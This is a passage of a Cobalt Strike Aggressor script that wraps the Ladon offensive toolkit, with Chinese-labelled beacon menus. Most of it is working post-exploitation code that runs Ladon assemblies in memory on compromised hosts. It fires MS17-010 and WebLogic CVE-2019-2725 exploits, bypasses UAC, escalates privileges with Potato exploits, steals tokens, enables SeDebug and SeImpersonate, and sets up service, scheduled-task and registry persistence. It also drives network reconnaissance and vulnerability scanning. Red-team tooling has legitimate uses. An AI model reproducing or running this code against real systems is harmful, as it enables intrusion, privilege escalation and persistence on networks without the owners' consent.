}else
{
if ($3['moudle'] eq 'CVE-2021-36934'){
blog2($bid,"Ladon ".$3['moudle']);
bexecute_assembly!($bid, script_resource("res/Ladon40.dat"),$3['moudle']);
}else
{blog2($bid,"Ladon ".$3['moudle']);
bexecute_assembly!($bid, script_resource("res/LadonPwd.dat"),$3['moudle']);}
}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub Sniffer {
if (-exists script_resource("Ladon35.exe")) {
if ($3['tar'] eq ""){
return;
}else
{
blog2($bid,"Ladon ".$3['moudle'].' '.$3['tar']);
bexecute_assembly!($bid, script_resource("Ladon46.dat"), $3['moudle'].' '.$3['tar']);}
}else {berror($1, "Ladon35.exe does not exist :(");}
}
sub HttpDownload {
if (-exists script_resource("Ladon.exe")) {
if ($3['tar'] eq ""){
return;
}else
{
blog2($bid,"Ladon ".$3['moudle'].' '.$3['tar']);
bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['moudle'].' '.$3['tar']);}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub ms17010 {
if (-exists script_resource("Ladon.exe")) {
if ($2 eq ""){
return;}else
{bexecute_assembly!($bid, script_resource("LadonPoc.dat"), $3['tar'].' MS17010');}
}else {berror($1, "Ladon.exe does not exist :(");}
}
alias CVE-2019-2725-POC {
if (-exists script_resource("Ladon.exe")) {
if ($2 eq ""){
return;}else
{bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' WeblogicPoc');}
}else {berror($1, "Ladon.exe does not exist :(");}
}
alias CVE-2019-2725-EXP {
if (-exists script_resource("Ladon.exe")) {
if ($2 eq ""){
return;}else
{bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' WeblogicExp');}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub BypassUac {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
}else
{
blog2($bid,"Ladon BypassUAC ".$3['moudle']);
bexecute_assembly!($bid, script_resource("res/LadonLpe2.dat"),"BypassUAC ".$3['moudle']." ".$3['b64cmd']);}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub BypassUac2 {
blog2($bid,"Ladon BypassUAC ".$3['moudle']);
if (-exists script_resource("res/LadonLpe2.dat")) {
if ($3['moudle'] eq ""){
return;
}else
{
bexecute_assembly!($bid, script_resource("res/LadonLpe2.dat"),"BypassUAC2 ".$3['b64cmd']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
}
sub Admin2System {
blog2($bid,"Ladon ".$3['moudle']." ".$3['b64cmd']);
#if (-isadmin $bid) {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
}else{bexecute_assembly!($bid, script_resource("res/LadonLpe.dat"),$3['moudle']." ".$3['b64cmd']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
sub System2Admin {
blog2($bid,"Ladon ".$3['moudle']." ".$3['b64cmd']." explorer");
#if (-isadmin $bid) {
if (-exists script_resource("res/LadonLpe.dat")) {
if ($3['moudle'] eq ""){
return;
}else{bexecute_assembly!($bid, script_resource("res/LadonLpe.dat"),$3['moudle']." ".$3['b64cmd']." explorer");}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
sub RunToken {
blog2($bid,"Ladon ".$3['moudle']." ".$3['b64cmd']." ".$3['proname']);
#if (-isadmin $bid) {
if (-exists script_resource("res/LadonLpe.dat")) {
if ($3['moudle'] eq ""){
return;
}else{bexecute_assembly!($bid, script_resource("res/LadonLpe.dat"),$3['moudle']." ".$3['b64cmd']." ".$3['proname']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
sub LadonLpe {
blog2($bid,"Ladon ".$3['moudle']." ".$3['b64cmd']);
#if (-isadmin $bid) {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq "BadPotato" || $3['moudle'] eq "McpPotato"){
bexecute_assembly!($bid, script_resource("res/Ladon40.dat"),$3['moudle']." ".$3['b64cmd']);
}else{bexecute_assembly!($bid, script_resource("res/LadonLpe.dat"),$3['moudle']." ".$3['b64cmd']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
sub LadonLpe2 {
blog2($bid,"Ladon ".$3['moudle']." ".$3['b64cmd']);
#if (-isadmin $bid) {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq "BadPotato" || $3['moudle'] eq "McpPotato"){
bexecute_assembly!($bid, script_resource("res/Ladon40.dat"),$3['moudle']." ".$3['b64cmd']);
}else{bexecute_assembly!($bid, script_resource("res/LadonLpe2.dat"),$3['moudle']." ".$3['b64cmd']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
sub SetPriviledge {
blog2($bid,'Set '.$3['priv']);
bgetprivs($bid, $3['priv']);
bshell($bid,'whoami /priv | find "Enabled"');
}
sub SetAuditPriv {
bgetprivs($1, "SeAuditPrivilege");
bshell($1,'whoami /priv | find "Enabled"');
}
sub SetDebugPriv {
bgetprivs($1, "SeDebugPrivilege");
bshell($1,'whoami /priv | find "Enabled"');
}
sub SetImpersonate {
bgetprivs($1, "SeImpersonatePrivilege");
bshell($1,'whoami /priv | find "Enabled"');
}
sub SetCreateToken {
bgetprivs($1, "SeCreateTokenPrivilege");
bshell($1,'whoami /priv | find "Enabled"');
}
sub SetAssignPrimaryToken {
bgetprivs($1, "SeAssignPrimaryTokenPrivilege");
bshell($1,'whoami /priv | find "Enabled"');
}
sub ScAt {
blog2($bid,"Ladon ".$3['moudle']." ".$3['path']);
#if (-isadmin $bid) {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
}else{bexecute_assembly!($bid, script_resource("res/Ladon48.dat"),$3['moudle']." ".$3['path']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
sub ScAuto {
blog2($bid,"Ladon ".$3['moudle']." ".$3['path']." auto ".$3['name']);
#if (-isadmin $bid) {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
}else{bexecute_assembly!($bid, script_resource("res/Ladon48.dat"),$3['moudle']." ".$3['path']." auto ".$3['name']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
sub RegAuto {
blog2($bid,"Ladon ".$3['moudle']." ".$3['name']." ".$3['path']);
#if (-isadmin $bid) {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
}else{bexecute_assembly!($bid, script_resource("res/Ladon48.dat"),$3['moudle']." ".$3['name']." ".$3['path']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
sub Runas {
blog2($bid,"Ladon ".$3['moudle']." ".$3['user']." ".$3['pass']." \"".$3['b64cmd']."\""." ".$3['domain']);
#if (-isadmin $bid) {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
}else{bexecute_assembly!($bid, script_resource("res/Ladon20.dat"),$3['moudle']." ".$3['user']." ".$3['pass']." \"".$3['b64cmd']."\" ".$3['domain']);}
}else {berror($bid, "Ladon.exe does not exist :(");}
#}else {berror($bid, "this command requires administrator privileges");}
}
popup beacon_bottom {
menu "神龙拉冬" {
item("&Ladon 12.0", { url_open("https://k8gege.org/Ladon?cs"); });
separator();
separator();
menu "1 网络资产收集" {
item "1 多协议探测存活主机" {
#OnlinePC
$bid = $1;
$dialog = dialog("Ladon OnlinePC", %(tar => "",moudle => "OnlinePC",clrver => "35",bid => $bid), &LadonScan48);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "2 多协议探测存活IP" {
#OnlinePC
$bid = $1;
$dialog = dialog("Ladon OnlineIP", %(tar => "",moudle => "OnlineIP",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "3 仅ICMP探测存活(快)" {
#OnlineIP
$bid = $1;
$dialog = dialog("Ladon ICMP", %(tar => "",moudle => "ICMP",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
#drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "4 系统Ping探测存活" {
$bid = $1;
$dialog = dialog("Ladon Ping", %(tar => "",moudle => "Ping",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
#drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "5 Oxid多网卡主机探测" {
$bid = $1;
$dialog = dialog("Ladon EthScan", %(tar => "",moudle => "EthScan",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","EthScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "6 DNS多网卡主机探测" {
$bid = $1;
$dialog = dialog("Ladon DnsScan", %(tar => "",moudle => "DnsScan",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","EthScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "7 多协议操作系统探测" {
#OSscan
$bid = $1;
$dialog = dialog("Ladon OSscan", %(tar => "",moudle => "OSscan",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "8 网站、标题、Banner" {
#WebScan
$bid = $1;
$dialog = dialog("Ladon WebScan", %(tar => "",moudle => "WebScan",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "9 WhatCMS指纹识别 ★" {
#WhatCMS
$bid = $1;
$dialog = dialog("Ladon WhatCMS", %(tar => "",moudle => "WhatCMS",clrver => "35",bid => $bid), &LadonScan30);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "10 端口扫描-服务识别 ★" {
$bid = $1;
$dialog = dialog("Ladon PortScan", %(tar => "",moudle => "PortScan",clrver => "35",bid => $bid), &LadonScan30);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "11 Cisco设备探测" {
#CiscoScan
$bid = $1;
$dialog = dialog("Ladon CiscoInfo", %(tar => "",moudle => "CiscoInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "12 SSL证书探测" {
$bid = $1;
$dialog = dialog("Ladon SslInfo", %(tar => "",moudle => "SslInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "13 WP信息探测" {
$bid = $1;
$dialog = dialog("Ladon WPinfo", %(tar => "",moudle => "WPinfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "14 LDAP服务器探测" {
$bid = $1;
$dialog = dialog("Ladon LdapScan", %(tar => "",moudle => "LdapScan",clrver => "35",bid => $bid), &LadonScan35);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "15 FTP服务器探测" {
$bid = $1;
$dialog = dialog("Ladon FtpScan", %(tar => "",moudle => "FtpScan",clrver => "35",bid => $bid), &LadonScan35);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "16 枚举MSSQL服务器" {
#EnumMssql
$bid = $1;
$dialog = dialog("Ladon EnumMssql", %(tar => "",moudle => "EnumMssql",clrver => "35",bid => $bid), &GetInfo);
dialog_description($dialog, "Enum Lan MSSQL SERVER");
#drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("EnumMssql"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "17 枚举共享资源" {
#EnumShare
$bid = $1;
$dialog = dialog("Ladon EnumShare", %(tar => "",moudle => "EnumShare",clrver => "35",bid => $bid), &GetInfo);
dialog_description($dialog, "Enum Lan share info");
#drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
#drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "18 打印机设备探测" {
$bid = $1;
$dialog = dialog("Ladon PrinterPoc", %(tar => "",moudle => "PrinterPoc",clrver => "35",bid => $bid), &LadonPoc);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "19 Exchange版本探测" {
$bid = $1;
$dialog = dialog("Ladon ExchangeVer", %(tar => "",moudle => "ExchangeVer",clrver => "35",bid => $bid), &LadonScan40);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "20 Http探测网页返回头" {
$bid = $1;
$dialog = dialog("Ladon GetHead", %(tar => "",moudle => "GetHead",clrver => "35",bid => $bid), &LadonScan48);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "21 Http/S探测网页域名" {
$bid = $1;
$dialog = dialog("Ladon GetDomain", %(tar => "",moudle => "GetDomain",clrver => "35",bid => $bid), &LadonScan48);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "22 WordPress插件探测" {
$bid = $1;
$dialog = dialog("Ladon Wpinfo", %(tar => "",moudle => "Wpinfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "23 Vmware版本探测" {
$bid = $1;
$dialog = dialog("Ladon VmwareVer", %(tar => "",moudle => "VmwareVer",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "24 Citrix版本探测" {
$bid = $1;
$dialog = dialog("Ladon CitrixVer", %(tar => "",moudle => "CitrixVer",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
}
menu "2 系统信息探测" {
item "0 InfoScan多协议探测信息 ★" {
$bid = $1;
$dialog = dialog("Ladon InfoScan", %(tar => "",moudle => "InfoScan",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "1 SMB探测系统信息-445" {
$bid = $1;
$dialog = dialog("Ladon SmbInfo", %(tar => "",moudle => "SmbInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "2 WMI探测系统信息-135" {
$bid = $1;
$dialog = dialog("Ladon WmiInfo", %(tar => "",moudle => "WmiInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "3 NBT探测系统信息-137" {
$bid = $1;
$dialog = dialog("Ladon NbtInfo", %(tar => "",moudle => "NbtInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "4 RDP探测系统信息-3389" {
$bid = $1;
$dialog = dialog("Ladon RdpInfo", %(tar => "",moudle => "RdpInfo f=1",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "5 SNMP探测系统信息-161" {
$bid = $1;
$dialog = dialog("Ladon SnmpInfo", %(tar => "",moudle => "SnmpInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
#drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "6 MSSQL探测系统信息-1443" {
$bid = $1;
$dialog = dialog("Ladon MssqlInfo", %(tar => "",moudle => "MssqlInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "7 WINRM探测系统信息-5985" {
$bid = $1;
$dialog = dialog("Ladon WinrmInfo", %(tar => "",moudle => "WinrmInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "8 Exchange探测系统信息-443" {
$bid = $1;
$dialog = dialog("Ladon ExchangeInfo", %(tar => "",moudle => "ExchangeInfo",clrver => "35",bid => $bid), &LadonScan40);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "9 Http/S探测系统信息-Web" {
$bid = $1;
$dialog = dialog("Ladon HttpInfo", %(tar => "",moudle => "HttpInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
item "10 Smtp探测系统信息-25/465/587" {
$bid = $1;
$dialog = dialog("Ladon SmtpInfo", %(tar => "",moudle => "SmtpInfo",clrver => "35",bid => $bid), &LadonInfo);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
#drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Scan");
dialog_show($dialog);
}
}
menu "3 远程漏洞检测" {
item "VulScan多POC漏洞检测 ★" {
$bid = $1;
$dialog = dialog("Ladon VulScan", %(tar => "",moudle => "VulScan",clrver => "35",bid => $bid), &LadonPoc);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");